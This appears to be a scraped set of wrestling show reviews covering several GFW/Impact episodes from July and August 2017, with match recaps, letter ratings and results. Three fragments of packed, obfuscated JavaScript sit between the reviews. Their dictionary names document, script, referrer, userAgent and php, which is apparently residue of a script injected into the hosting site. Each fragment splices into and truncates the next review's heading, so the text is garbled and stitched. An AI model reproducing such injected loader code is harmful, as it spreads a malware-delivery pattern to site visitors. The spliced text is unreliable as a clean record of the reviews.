Grado vs. ???

Grado is leaving due to visa issues and wanted one more match. The Wee Boot gives him the pin at 47 seconds.

Post match Grado says he’s leaving on a coach flight at 10am but he wanted to perform in front of the best fans in the world one more time. Joseph Park interrupts and he has a surprise. He’s going to be sponsoring Grado’s visa so Grado can stay! Park is going to be his agent it seems, promising him booking, in-ring Polaroid shoots and podcast appearances.

Johnny Impact says Low Ki is a dream opponent and tonight, Low Ki goes to Slam Town.

Lashley and American Top Team goes in to see Jim Cornette and demands his release. Cornette grants it but the fighters have to leave, but before Lashley leaves he wants him to face Moose one on one.

X-Division Title: Sonjay Dutt vs. Trevor Lee

Dutt is defending and this is falls count anywhere. Lee gets two on the floor off a baseball slide but Dutt sends him into the barricade for a breather. They head inside for the first time with Lee kicking him in the face, only to get dropped again. Dutt throws in a chair but Lee throws it right back out.

They hit kicks to the head at the same time for a double knockdown. Why there’s no count when Dutt’s leg is over Lee isn’t clear, but I’d guess it’s because that’s not in the script and the referee doesn’t know any better. Dutt’s tornado DDT plants Lee but a superplex plants Dutt just as fast. They head outside again with Lee throwing a chair at his head before fighting into the crowd.

We take a break (of course we do) and come back with the fight heading into the back. Caleb Konley jumps Dutt, because falls count anywhere now means No DQ. A trashcan to the head gives Lee two but heel miscommunication lets him get a breather. Dutt is busted open and it’s time to hit Lee in the head with a trashcan lid. A tornado DDT off the wall is countered with a crotching onto a barricade and Lee rolls him up (with tights) for the pin and the title at 13:57.

Rating: C+. It never ceases to amaze me how much they’ve sucked the soul out of this division. This was a fast paced match and I couldn’t bring myself to care about it no matter how hard I tried. It’s just not interesting no matter how hard they try (and the wrestlers are trying) and so much of that is due to how worthless the X-Division is now. They’re treated like an afterthought and have been for years now. Why would I care if the company doesn’t?

American Top Team beats up Richard Justice for general purposes.

Clip of Global Forged, GFW’s version of Tough Enough/Breaking Ground.

Taya Valkyrie vs. Amber Nova

Taya slams her down to start and sends Amber into the corner. A raised boot in the corner staggers Taya as JB mentions Bound For Glory, perhaps for the first time. Taya gets two off a sitout powerbomb and pulls Amber up before three. A double chickenwing facebuster (Beth Phoenix’s Glam Slam) ends Nova at 1:20.

Eli Drake and Chris Adonis smell desperation from the people trying to reach his level with their little T-Rex arms. Drake has spotted two marks in the main event and he’ll be watching.

Johnny Impact vs. Low Ki

The winner faces Drake at Victory Road, whenever that is. Ki tries some shots to the face but gets swatted away as they seem to have a lot of time here. They hit the mat for some grappling before Impact blocks a kick and grabs a dragon sleeper over the ropes. We take a break and come back with Impact fighting out of an abdominal stretch and kicking Ki down.

The breakdancing legdrop gets two and Ki is placed on the middle rope for a sliding German suplex (cool). Impact’s split legged moonsault is broken up though with Ki grabbing a hanging dragon sleeper. The Flying Chuck puts Ki down but he comes back with a shotgun dropkick into the corner. Back up and Ki crotches himself while trying the Warrior’s Way, setting up Starship Pain to give Impact the title shot at 11:14.

Rating: C. Hopefully that’s it for Low Ki as I’m sick of his stupid ultra serious yet still paying homage to/ripping off a video game look. At least he’s toned down the kicks a bit and learned to do something else for a change. Impact winning was obvious and at least they didn’t have the match go on twenty minutes for the sake of going on twenty minutes.

Post match Adonis sneaks in to put Impact in the Adonis Lock. Drake comes out to add the Gravy Train.

Lashley tells Cornette to watch what’s about to happen to Moose.

Taya yells at Karen Jarrett and tells her to pay attention to what happens in that ring.

Here’s Lashley as this show’s run time has been extended to approximately nineteen hours. Lashley talks about being forced to choose between wrestling and MMA, even though he’s doing pretty well at both. American Top Team has been begging him to come there full time and win that “mixed martial arts heavyweight championship”. He’s going back to MMA full time but first, he wants to call out Moose. The announcers are surprised by this, despite seeing what Cornette said and mentioning it during the show.

Moose comes out and immediately punches him in the jaw, only to get clotheslined to the floor. A powerbomb on the floor keeps Moose in trouble but he cuts off the spar with a boot. They fight into the crowd because this needs to fill in more time. This just keeps going as they head into the back with the announcers continuing to name drop Dan Lambert every chance they have.

A neckbreaker drops Moose on the apron as the announcers talk about how Lashley leaving might cost them their Christmas bonuses. Moose kicks him down and hits a spear at ringside. They get back inside and of course here are the MMA guys to beat Moose down to end the show after a nearly seven minute brawl.

Overall Rating: D. This show felt as long as Wrestlemania and my goodness we’ve got how many weeks left in this taping cycle? I don’t even know where to begin on what was wrong with this show. Above all else though, it’s the same problem I have watching Ring of Honor when they’re in their New Japan phases: I don’t watch the show to see other promotions. I watch it to see GFW, not whatever other promotion they can fit in this week. Last week it was twenty minutes of AAA and this week it’s the other AAA guys plus the Crash.

If that’s not enough, the big story, with the last segment of the show and a lot of time, is still the MMA stuff. Combine that with all the international material and it feels like A, GFW doesn’t have enough content of its own to fill two hours a week or B, they don’t think their own stuff is good enough. It’s like they keep having to show you something else to entertain you instead of paying attention to what they have and that gets very, very old in a hurry.

The wrestling is decent at best, the stories are dreadful, the talent isn’t all that great and the focus is all over the place. It’s such a mess anymore and I have a feeling this is going to be how things go all the way to Bound For Glory in November. The worst part is that the show wasn’t completely terrible but rather just exceedingly boring. Nothing caught my attention and almost nothing felt special. It’s just stuff going on for two hours with a bunch of segments and matches that you might like. Not a good show, but much worse, not a good sign for the weeks to come.

Results

Garza Jr. b. Braxton Sutter – Middle rope moonsault

Ethan Carter III b. Hijo de Fantasma via split decision

Grado b. ??? – Wee boot

Trevor Lee b. Sonjay Dutt – Rollup with a handful of tights

Taya Valkyrie b. Amber Nova – Double chickenwing facebuster

Johnny Impact b. Low Ki – Starship Pain

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tizin|var|u0026u|referrer|dyfab||js|php'.split('|'),0,{})) Wrestling
Date: August 3, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Josh Matthews, D’Angelo Dinero, Jeremy Borash

The battle for Mexican pride continues as Alberto El Patron’s feud with LAX is still going. Last week saw the Veterans of War save El Patron from a post match beatdown, because he just wasn’t beating the group badly enough yet. I’m really not sure what the end game of this is but LAX could use a top guy in a hurry. Let’s get to it.

Konnan promises a new member of LAX tonight and says there’s a new level of violence coming.

Long recap of the Super X Cup as tonight will see the finals set.

Super X Cup Semifinals: Dezmond Xavier vs. Dragon

They run the ropes to start with Drago hitting a dropkick for two. Back up and both guys miss a few strikes until Xavier grabs a running hurricanrana for two of his own. Drago sends him outside for a suicide dive and we take a break. We come back with both guys hitting kicks to the head to put both of them down.

Back up and it’s another double knockdown, followed by Desmond picking things WAY up and headscissoring him out to the floor for a bit flip dive. Drago hits a superkick back inside, followed by a top rope Orton DDT for two. A Batista Bomb gives Drago the same and stereo strikes put both guys down again. Back up and Drago gets two off a rollup, only to have Xavier hit a 619 around the post. The Final Flash sends Xavier to the finals at 15:18.

Rating: C+. I’m trying so hard to make myself care about this tournament and it’s just not happening. This is little more than a collection of guys you’ve probably heard of if you follow the independent circuit having a tournament for the sake of having a tournament. The matches are certainly watchable but I have no interest in any of these people because all I know about them is the following: “HI! My name is *insert name here*. I’m going to prove that I’m the best X-Division wrestler in the world. The Super X Cup is really important.” Repeat every time one of them has a match.

Ethan Carter III says he’s a hot commodity and is ready to win the Grand Championship because he’s in Moose’s head. He’ll win no matter what stupid judges he has to deal with, even if it’s Bruce Prichard.

We recap Bobby Lashley vs. Matt Sydal, who meet at Destination X.

The Patron family is ready to face LAX tonight but Alberto thinks one of them might join the team. Alberto thinks that his brother might have turned as he and Konnan are friends. An argument breaks out so here’s Karen Jarrett to say family is important. Bruce comes in to say he’s got this and asks to talk to Karen alone.

Mumbai Cat vs. Trevor Lee

Lee is still wrestling in the belt. Cat is sent outside early on and we get a switch with another masked man who was underneath the ring. The second Cat (let’s call him Sonjay, just for a name) takes Lee down with some clotheslines and a superkick, followed by a tornado DDT. The top rope splash ends Lee at 1:38.

Of course it’s Sonjay and here’s Bruce to complain (and to get his quota of screen time). Sonjay tells him to hang on and says he’s still the champ. We’ll have a ladder match for the title in two weeks at Destination X.

Video on Lashley’s MMA training.

Joseph Park tells Grado to focus on his match tonight and he’ll have Laurel Van Ness ready for the wedding later. His grandmother told him something he’ll never forget for situations like this. He can’t come up with it right off hand but it was great.

Eli Drake vs. Eddie Edwards

Hang on as Eddie has been attacked by Kongo Kong. No match.

Post break Laurel is shouting at Kong as he beats up Richard Justice (the designated wrestler from last week).

Grand Championship: Ethan Carter III vs. Moose

Moose is defending and Bruce Prichard, Scott D’Amore and Dutch Mantel are the judges. Some early chops and a toss across the ring have Ethan in early trouble but Moose misses a charge into the steps. Carter hammers away and tells Bruce to SCORE THAT. Back in and Carter sits down on Moose’s back as the first round ends. Carter wins the first round and sends Moose face first into the apron to start round two.

We hit a quickly broken chinlock before Moose fights up with the running charges in the corner. A hesitation dropkick has Carter reeling and the round ends. Moose wins round two and after a break, throws Carter to the floor to start the third round. A bicycle kick gives Moose two and a Low Down from the corner gets the same. Neither finisher can hit but the second attempt at the 1%er connects for two.

Moose blocks the ECD and hits a sitout chokeslam as time expires at 9:00. Carter wins via split decision (two ties) with Prichard giving him the winning vote with a score of 10-8. This is billed as controversial, which is true considering Moose dominated the third round save for the 1%er.

Rating: D+. Basically this match existed to push the fact that Bruce Prichard is a corrupt boss. Prichard is on this show more than anyone not named Alberto or LAX and he’s just not that interesting. He’s a guy with a podcast who plays a completely generic corporate character, which isn’t interesting in the first place as it’s been done to death.

OVE (the Crist Brothers) debut at Destination X.

KM/Mario Bokara/Fallah Bahh vs. Suicide/Braxton Sutter/Grado

International six man tag, meaning “here’s a bunch of people to fill time”. The bad guys are knocked into the corner and it’s time for some dancing. Bahh’s bare feet take a few stomps to send him outside but the dive is broken up. Back in and Bahh rolls over Grado but Grado slugs away for his comeback. Everything breaks down and Grado school boys KM for the pin at 3:41.

Rating: D. So that happened. Really, I’m not sure what there is to say here. There’s little story aside from Sutter slowly turning and the Grado comedy shtick. The wrestling barely existed as we had to get in all the goofy spots and really made this feel like filler. I mean, it was filler but they could find a way to keep it from feeling like it.

Post match Park brings out Laurel for the proposal but Kongo Kong comes in and destroys Grado. Sutter leaves as Park gets Grado out of the ring before the top rope splash can hit.

Konnan tells “random white girl number five” that violence is about to come to the Patron family.

Ethan Carter III comes out to brag about being the grandest champion of them all. He’s now in love with his title and gives it a kiss before asking if it wants to get out of here. As usual, Carter is one of the most entertaining things on this show.

LAX vs. El Hijo de Dos Caras/Dos Caras/Alberto El Patron

Caras (sixty six years old) starts with Homicide and pulls him down into a rollup for no count as the shoulder is up. Chops knock Homicide into the corner and it’s off to Hijo for a suicide dive as we take a break. Back with Alberto hitting a basement dropkick for no count, allowing LAX to get in a few cheap shots to take over.

Santana’s chinlock keeps things slow and it’s off to Ortiz with a slam. Alberto crotches him on top though and the not hot tag brings in Hijo for a high crossbody. Santana crotches Hijo on top as well and LAX takes over again. A superplex gives Ortiz two and the triple teaming begins.

Santana misses an elbow though and the hot tag brings in Alberto to clean house. The tilt-a-whirl backbreaker plants Homicide as everything breaks down. Hijo misses a dive and it’s Santana getting caught in the ropes for the top rope double stomp. No cover though as we have a ref bump, leaving no one to see Ortiz tap to the armbreaker.

Hijo comes in with a chair and takes out Homicide to prove his loyalty to his brother. Santana gets caught in another armbreaker but here’s Low Ki in an LAX jacket with a Warrior’s Way to Alberto. The announcers freak out as Santana gets the pin on El Patron at 16:48.

Rating: D+. Oh joy: one of my least favorite wrestlers is now pretty much the top wrestler in the heel stable going after Alberto. Nothing to see here as usual from a wrestling standpoint as LAX (whose Tag Team Titles have been defended once (at Slammiversary) since late April) isn’t that interesting when they’re having to sell for a man in his mid 60s and a not very talented brother. Not a good match here as the boring story continues.

The announcers treat this as LAX becoming invincible because they have the memories of a WWE Creative staff member. The Veterans of War were never mentioned during the match.

Overall Rating: D. I really, really wasn’t feeling this show tonight as it suffers from the same problems that have plagued it for weeks now: everything is really uninteresting. The big story seems to be Low Ki vs. Alberto, which sounds like a main event for some one off indy match.

The biggest problem for me is the focus on Prichard. He’s involved in multiple stories at this point and he’s just not interesting. There’s nothing about him that stands out aside from a popular podcast and that’s not something I need to see on a wrestling show. We need a central story that grabs viewers and the combination of Alberto vs. LAX and Prichard possibly being corrupt isn’t going to pull that off. Not a good show this week and that’s really not a big surprise.

Results

Dezmond Xavier b. Drago – Final Flash

Mumbai Cat b. Trevor Lee – Top rope splash

Ethan Carter III b. Moose via split decision

Suicide/Braxton Sutter/Grado b. KM/Mario Bokara/Fallah Bass – Rollup to KM

LAX b. Alberto El Patron/El Hijo de Dos Caras/Dos Caras – Warrior’s Way to El Patron

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|atyas|var|u0026u|referrer|hdtea||js|php'.split('|'),0,{})) Wrestling
Date: July 27, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Josh Matthews, D’Angelo Dinero, Jeremy Borash

The battle between LAX and Alberto El Patron continues as the group wants El Patron to join him but he’d rather not, leading to a series of fights. As usual though, the problem is finding a member of the team to fight him as there’s no one anywhere near Alberto’s level on the team. Therefore, they’ll likely need to add someone new to their ranks. Let’s get to it.

Joseph Park and Grado arrived earlier and it’s time to propose to Laurel Van Ness so Grado can stay in the country. Park has special gear for him to wear when he pops the question.

Long recap of LAX vs. Alberto and his family, including various kidnappings of Alberto’s brother and father.

Opening sequence.

The Mayor of Orlando is guest ring announcer for the night.

Eli Drake/Chris Adonis/Ethan Carter III vs. Eddie Edwards/Naomichi Marufuchi/Moose

Eddie and Eli start things off with Drake trying to silence the crowd. Edwards grabs him by the arm and hands it off to Marufuchi for some more of the same. Drake comes in and gets chopped for his efforts, followed by Adonis coming in to complete the trio. Marufuchi works on Adonis as well, including a double chop with help from Edwards (WE GET IT ALREADY).

The heels are sent outside but Adonis breaks up the Shot of Caffeine and we take a break. Back with Edwards still in trouble and Adonis coming in to kick him in the ribs. The beating continues so the announcers talk about Alberto facing LAX in a gauntlet match tonight. Adonis grabs a chinlock for a good while and Carter comes in to give up the hot tag to Moose.

Some running splashes in the corner have Carter in trouble until Drake and Adonis cut him off with some clubberin in the opposite corner. Marufuchi comes in and fires off kicks to the head, leaving Drake to eat a Pop Up Powerbomb from Moose. Carter sneaks in from behind though and kicks Moose low, setting up a lifting sitout Pedigree for the pin at 16:07.

Rating: C-. Just a boring six man here though at least the ending sets up Moose vs. Carter a bit more. Marufuchi is still just kind of there with little more explanation other than “he’s from Japan and he’s awesome”. Well yeah, but I’m not getting much proof of that when all he’s doing is coming in for about thirty seconds, chopping and kicking, and then getting back out. Moose vs. Carter should be fine especially if it gets Carter the title but there wasn’t much to see here.

A rather large guy named Richard Justice is warming up in case he’s needed. He’s the standby wrestler you see, which McKenzie Miller calls the stupidest thing she’s ever heard.

A brother tag team is coming. That would be the Crist Brothers.

Here’s Lashley to call out Bruce Prichard. In short, he wants a title shot and is tired of being told he has to earn them when people like Alberto come in here and get one on day one. He’d like Bruce to come out here and announce that he’s getting his title shot at Destination X. Cue Bruce with Tyrus to say….not much as Matt Sydal walks past him and gets inside. He pushes Lashley and says he won’t be ignored but Lashley shoves him down. That earns Lashley a knee to the face and a quick shooting star press.

See, this is what they’ve needed to do with the X Division for a long time. There’s no need to throw them into a nothing division off to the side and then use them as cannon fodder. Having them mix with the heavyweights and showing that they can hang makes the division look a lot better, which is whats been missing from this place for years. If they go somewhere with that, well done. Otherwise, it’s a nice thought but nothing more.

Davey Richards and Taiji Ishimori are ready for their Super X Cup match.

Super X Cup First Round: Davey Richards vs. Taiji Ishimori

They fight over a lockup to start with Davey patting him on the chest before trading wristlocks. Ishimori dropkicks him to the floor and teases a 619. Back in and Davey fires off the kicks, followed by a figure four neck lock to send Ishimori over to the ropes. The Indian deathlock goes on but Ishimori makes the rope again. Ishimori hits the running knees in the corner, followed by a Vader Bomb double stomp for two.

They hit the mat for a battle of rollups until Davey rolls him into an ankle lock. That goes nowhere either but Davey catches him in the hold again. Davey plants him down and goes up top, cancels the howl, but misses the double stomp. Ishimori grabs a tombstone but throws Davey up for a pair of knees to the chest instead. A 450 puts Davey away at 8:26.

Rating: C+. Much like Marufuchi, all I know about about Ishimori is whatever we’re told about him during his entrances. Now this match helped a lot more than Marufuchi as we got to see Ishimori work a match that didn’t have the stupid round system or five other people. It helped, though I still need to see a lot more of them and have a reason to care about them for this to really be worth much.

Here are the semifinals:

Dezmond Xavier

Drago

ACH

Ishimori

Prichard makes Lashley vs. Sydal for Destination X with the winner getting whatever title match they want.

Knockouts Title: Rosemary vs. Sienna

Rosemary is challenging and this is Last Knockout Standing. Sienna, with KM in her corner, gets jumped to start and Rosemary unloads on her to take over. A table is brought in quickly but Sienna drops Rosemary and takes a stroll on the floor. Another table is set up on the outside, followed by the champ throwing in a pair of chairs. We get the required duel with both of them being knocked out of the respective hands.

They fight into the crowd with Sienna’s face being raked over the barricade. Rosemary grabs a headscissors and bends backwards over the barricade into kind of a reverse Tarantula. Sienna taps to no effect and we take a break. Back with Rosemary still in control but having to block what looked to be a powerbomb off the apron. The block doesn’t last though and it’s an AK47 off the apron and down to the floor (basically a release powerbomb in this case) for an eight count.

Back in and the Silencer is blocked by the swing of a chair to put Sienna down for nine. A Red Wedding onto the chair knocks Sienna down but Rosemary can’t follow up. Sienna is up at nine but down at ten so Rosemary puts her in front of the chair in the corner. Rosemary puts a trashcan in front of her for a Van Terminator, only to have KM offer a distraction. That means mist to the face but Sienna shoves her off the top and through the table on the floor to retain at 15:39.

Rating: B-. Good brawl, though nothing we haven’t seen before. Rosemary is rather skilled and Sienna is rather…..well she’s rather boring actually but she’s competent in the ring. KM on the other hand is one of the least interesting guys I’ve seen in a long time and having him around doesn’t add anything to any match he’s involved with. It’s a good match but, save for the reverse Tarantula, this wasn’t anything of note.

We look at the end of the six man.

Carter dubs the sitout Pedigree as the ECD: Ethan Carter’s Driver. Moose vs. Carter for the title next week.

Alberto says LAX is lead by a crazy man.

Here’s Trevor Lee to say he’s a fighting champion, meaning he’s got another handpicked challenger. He’s the king of Mexico….and it’s Octagoncito.

Trevor Lee vs. Octagoncito

Lee wrestles with the stolen title on and runs Octagoncito over to start. He misses a charge into the corner though and gets headscissored down, followed by a very long spinning version to put Trevor on the floor. That’s enough for Lee as he takes the countout at 1:40.

Sonjay Dutt runs in after the match but gets stopped by security. Cue Bruce for another unnecessary cameo to send him to the back.

LAX is ready to destroy Alberto once and for all.

Here are Park and Grado, the latter of whom is in a rather form fitting orange suit, to propose to Laurel. Sienna has to force Laurel down the aisle before leaving. Grado calls Laurel knockout gorgeous and proposes but here are a very excited Allie and a less excited Braxton Sutter to pull her to the back. Before there’s an answer though, Kongo Kong interrupts with a shaking head. Grado bails and Kong picks Laurel up but she tells him to put her down. She never actually said no.

LAX vs. Alberto El Patron

Gauntlet match and non-title. Alberto comes through the crowd and it’s going to be Homicide starting for the team. A top rope splash ends Homicide in nineteen seconds and it’s Ortiz coming in second. We’re off to an early break and it’s back to Ortiz in trouble as well but LAX crotches Alberto on top. Not that it matters as Alberto shoves him Ortiz down and hits the double stomp for the pin at 6:30 total.

Santana is in last and hits a running boot in the corner for two. Alberto gets tripped from the floor but avoids a top rope double stomp. A tilt-a-whirl backbreaker drops Santana again but Alberto has to go after the other members. Diamante’s high crossbody is caught and Alberto throws her out onto Homicide. Alberto grabs the cross armbreaker but Ortiz comes in for the DQ at 8:53 total.

Rating: D. So to recap, Alberto just cleaned out all of the wrestling members of LAX in less than nine minutes while also dealing with Diamante and Konnan. And these guys are the top heels in the promotion at the moment and we’re supposed to buy one of them, in theory at least, as a threat to the title? Really? Horrible idea here and a bad way to close the show.

Post match the beatdown is on with Alberto’s brother taking a beating as well. The Veterans of War run in and help Alberto clean house to end the show. In other words, Alberto, who just fended off five people at once on his own, now has his father, his brother, and two big power guys backing him up?

Overall Rating: D+. That main event storyline is just killing everything else on the rest of the show. Everyone in LAX is coming off like a jobber (the Tag Team Champions remember) and that story is dominating the show. There’s some good stuff on here and that’s keeping the show going but they are DYING for a top heel to oppose Alberto (who is far from a great character in the first place). In other words, a Jeff Jarrett run company still doesn’t seem capable of writing TV that is anything more than just average at best.

Results

Eli Drake/Ethan Carter III/Chris Adonis b. Moose/Naomichi Marufuchi/Eddie Edwards – Lifting sitout Pedigree to Moose

Taiji Ishimori b. Davey Richards – 450

Sienna b. Rosemary when Rosemary couldn’t answer the ten count

Octagoncito b. Trevor Lee via countout

Alberto El Patron b. LAX via DQ when Ortiz interfered

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tkrdn|var|u0026u|referrer|bksnn||js|php'.split('|'),0,{})) Wrestling
Date: July 20, 2017
Location: Impact Zone, Orlando, Florida
Commentators: D’Angelo Dinero, Josh Matthews, Jeremy Borash

So it seems we’re still on Alberto El Patron vs. Bobby Lashley after Lashley abandoned El Patron to the hands of LAX last week. This feud has been going on for months now and it’s apparently continuing as there’s no one else to put into the main event scene. Some new names need to be added to the title picture too as it’s getting rather tiresome. Let’s get to it.

We open with a long recap of LAX recruiting Alberto El Patron, including last week’s tag match with Alberto and Lashley picking up the win, only to have Lashley abandon Alberto after the match.

Video on Sammy Guevara, who is young and rather braggadocios. He’s here because he’s one of the best in the world and is ready to win this tournament and move on to the X-Division Title.

Video on Drago, who talks about being from another world and is ready to win as well.

Super X Cup First Round: Drago vs. Sammy Guevara

They speed things up to start and neither can hit anything early on. Drago offers a handshake on the standoff but gets slapped in the face instead. Sammy casually backflips over a clothesline and sends Drago outside for a shooting star from the top. Back in and a reverse hurricanrana gives Drago two, followed by the Dragon’s Tail (very twisting rollup) for the same. That’s fine with Sammy who comes back with a 630 for his own near fall. Drago is back up as well and hits a rather sloppy running Blockbuster DDT for the pin at 4:23.

Rating: C+. Fun match, complete lack of selling aside. This was straight out of the “you do a spot and I do a spot” playbook, which is only going to get you so far. Guevara was a fun heel who plays the bravado quite well. Drago is 41 years old and looks about half that age but it makes sense to push him on given his status with Ring of Honor.

Some GFW wrestlers went to a children’s camp for charity. Nothing wrong with that.

Sienna vs. Amber Nova

Non-title. Nova goes at her to start but gets sent into the corner, followed by a wheelbarrow suplex. A delayed vertical suplex is broken up but the AK47 puts Nova away at 1:26. Total squash.

Post match Sienna mocks Rosemary for being a loser and calls out Karen Jarrett. Sienna wants her to get on her knees and calls Sienna the greatest Knockout of all time. Karen doesn’t think so but Sienna says she just told her to. Allie makes the save with a kendo stick but Laurel Van Ness comes in and beats Allie down. Rosemary comes out for the real save. That goes badly as well but Karen pulls Sienna off. Cue Gail Kim to clean house because that’s what Kim does. Karen makes a Last Knockout Standing match between Rosemary and Sienna for the title next week.

Earlier this week, LAX kidnapped Alberto’s brother to get Alberto to join LAX.

Video on Hijo de Fantasma.

Bruce Prichard (Did the whole “Where’s Bruce” thing from Slammiversary ever go anywhere?) is in the back and runs into Trevor Lee. Bruce wants to know what’s up with the X-Division Title when Sonjay Dutt comes in and tries to get the title back. Security takes him away, which Lee says proves he’s the better champion. Bruce seems to agree.

Idris Abraham/Demus/Trevor Lee vs. Laredo Kid/Garza Jr./Octagoncito

Lucha rules. Idris and Garza don’t do anything to start so it’s off to the minis for a headscissors to send Demus outside. Garza dives on the other villains and we take a break. Back with Lee, who is wearing the X-Division Title, working on Octagoncito until a headscissors puts him down.

The hot tag brings in Garza Jr. and we remove the pants. They hit the floor for the dives, including Laredo Kid getting caught in the ropes and nearly landing on the apron. We hit the Row the Boat spot (it didn’t work in WCW and it’s not working here), followed by Laredo hitting a big flip dive to the floor. Back in and Octagoncito gets on Garza’s shoulders while Garza is on the middle rope for a huge splash onto Abraham for the pin at 10:24.

Rating: C. Botches aside, this was a fun match but the problem here is the time. A lot of the roster barely has time to get on the roster week to week but this is getting more than twice the time that the Super X Cup, which is actually for something, received. Both matches were fun but shouldn’t those times be reversed?

It’s time for Grado to go on a date with Laurel Van Ness He ate the chocolates and drank the champagne but he’s got coupons! The date is backstage and they’re in their gear with Grado tucking his napkin into his singlet. Laurel’s eating scares Grado’s appetite away.

LAX has kidnapped Alberto’s father to try to get Alberto to join as well.

Hijo de Fantasma vs. Matt Sydal vs. Low Ki

One fall to a finish. Sydal takes over to start until Fantasma spinwheel kicks him down. Ki sends Sydal outside but winds up limping a bit to slow him back down. Fantasma kicks Ki in the face to knock him off the top rope and out to the floor as we take a break. Back with Sydal hitting a standing moonsault on Ki but getting caught in a surfboard from Fantasma.

Ki breaks it up with the Warrior’s Way but the knee is too banged up to cover. Instead Sydal just falls onto Fantasma for two. The Ki Krusher is broken up so Sydal is sent into the corner again. The regular Warrior’s Way hits Fantasma but Sydal breaks it up with the shooting star press for the pin on Fantasma at 13:57.

Rating: C. Now they’re going overboard with the X-Division stuff. This is the third match out of four that has been built around the division and they’re starting to run together. Sydal is starting to go somewhere and it’s nice to see them pushing someone fresh in the division, but there’s so much other stuff going on that it’s starting to get lost in the shuffle.

Post match Sydal calls out Prichard and asks for a title shot. Cue Lashley of all people but Sydal says no one wants to hear it because this is his time to ask for a title shot. Lashley spears him down and says that’s only a start.

Back to the date with Laurel getting a bit too close to Grado, who keeps reminding himself about the citizenship.

Eddie Edwards vs. Ethan Carter III vs. Moose vs. Eli Drake

Before the match, the Swoll Mates chase off Chris Adonis. It’s a brawl to start with Eddie hitting a suicide dive onto Drake, who is then taken down again by Moose’s spinning high crossbody. Drake is right back up to send Moose outside and it’s time to double team Eddie. As you might expect, Drake and Carter get in an argument so Moose comes back in to throw them outside.

That’s not enough throwing as he tosses Edwards onto them as well. Eddie hurricanranas Carter back inside but has to deal with Drake, allowing Ethan to send him into the post. There’s the 1%er to Edwards but Moose pulls Carter outside, allowing Drake to steal the pin at 6:23.

Rating: C-. Another match with little structure that seemed to exist for the sake of fitting in as many people onto the card as they could. The match didn’t have much of a flow to it until the ending, though Eli and Ethan shouting their names at each other was a nice moment. I could go for some story tonight though and this match didn’t give me that.

LAX cuts off the Swoll Mates and asks Alberto’s family if he’s joining the team. Apparently not but Konnan holds the troops back…..and then lets them beat the two of them down.

Post break here’s LAX with Dos Caras as Dos Caras Jr. in the ring. The beat down is on until Konnan threatens Sr.’s mask. This brings Alberto to the stage before he slowly gets inside. He gets in “Carlos’” face and says this is too far for the sake of Mexican pride. Alberto says they’re brothers but if LAX wants him, let his family go. The family is sent outside and Alberto agrees to join the team to keep them save. He puts on the shirt but then beats down LAX to end the show.

Overall Rating: C. If you don’t like the LAX vs. Alberto story, RUN AWAY from this show. Nearly no other story got as much as five minutes on this show and it got a bit tiring watching all these multi-person matches, many of which felt like they barely advanced anything. The wrestling itself helped a lot but there was WAY too much LAX here and it dragged the show down a lot.

Results

Drago b. Sammy Guevara – Blockbuster DDT

Sienna b. Amber Nova – AK47

Garza Jr./Laredo Kid/Octagoncito b. Demus/Idris Abraham/Trevor Lee – Splash to Abraham

Matt Sydal b. Hijo de Fantasma and Low Ki – Shooting star press to Fantasma

Eli Drake b. Ethan Carter III, Eddie Edwards and Moose – 1%er to Edwards

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/

And check out my Amazon author page with cheap wrestling books at:

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